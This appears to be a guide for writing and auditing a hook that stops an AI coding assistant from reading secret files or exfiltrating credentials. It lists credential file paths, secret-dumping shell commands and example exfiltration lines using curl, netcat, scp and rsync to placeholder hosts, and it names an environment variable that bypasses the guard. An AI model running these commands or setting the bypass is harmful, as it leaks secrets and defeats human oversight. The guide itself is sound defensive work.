Hook Protect Secrets

---
name: "hook-protect-secrets"
description: "Pattern guide for writing PreToolUse hooks that block secret file access, credential exfiltration, and environment variable dumps. Use when: auditing token-scope-guard.sh, adding new sensitive file patterns, reviewing what secret paths are protected. Covers 33 file patterns + 24 bash patterns + 15 exfiltration patterns. Inspired by: karanb192/claude-code-hooks protect-secrets pattern (MIT)."
---

# Hook Protect Secrets Pattern

## When to trigger

- "what files does token-scope-guard protect?"
- "add secret pattern", "protect this file"
- "secret access hook", "credential guard"
- Auditing `core/hooks/token-scope-guard.sh`

## Protected file categories (33 patterns)

### SSH & credentials
- `.ssh/id_*`, `.ssh/id_rsa`, `.ssh/id_ed25519`
- `.aws/credentials`, `.aws/config`
- `.netrc`, `.npmrc`, `.pypirc`

### Environment & config
- `.env` (but NOT `.env.example`, `.env.sample`, `.env.template`)
- `.vault-token`, `.pgpass`, `.my.cnf`
- `.kube/config`, `.docker/config.json`

### Service accounts & tokens
- `*service-account*.json`, `*credentials*.json`
- `*token*.json`, `*secret*.json`

## Bash patterns that expose secrets (24 patterns)

```bash
cat .env          # reading env file
echo $AWS_*       # echoing cloud credentials
env | grep KEY    # dumping env vars with key
source .env       # sourcing env file
printenv          # full env dump
```

## Exfiltration patterns (15 patterns)

```bash
curl -d @.env https://...     # uploading secret files
scp .env user@remote:         # copying via scp
nc <IP> < .env                # netcat exfil
rsync .env remote:            # rsync exfil
```

## Safe files (always allow)

```
.env.example
.env.sample
.env.template
.env.test
```

## Hook exit codes

```bash
exit 0  → allow (reads/writes that are safe)
exit 2  → block (JSON with blocked path + reason)
```

## Adding new patterns to token-scope-guard.sh

1. Identify type: file path / bash command / exfiltration
2. Write regex — be specific to avoid false positives
3. Add allow-list exception if needed (e.g. `.env.example`)
4. Add test to `core/tests/hooks/run-hook-tests.sh`
5. Update hook `# Last Reviewed:` date

## Reference

YAMTAM hook: `core/hooks/token-scope-guard.sh`
Bypass: `YAMTAM_SCOPE_OK=1`
Tests: `core/tests/hooks/run-hook-tests.sh`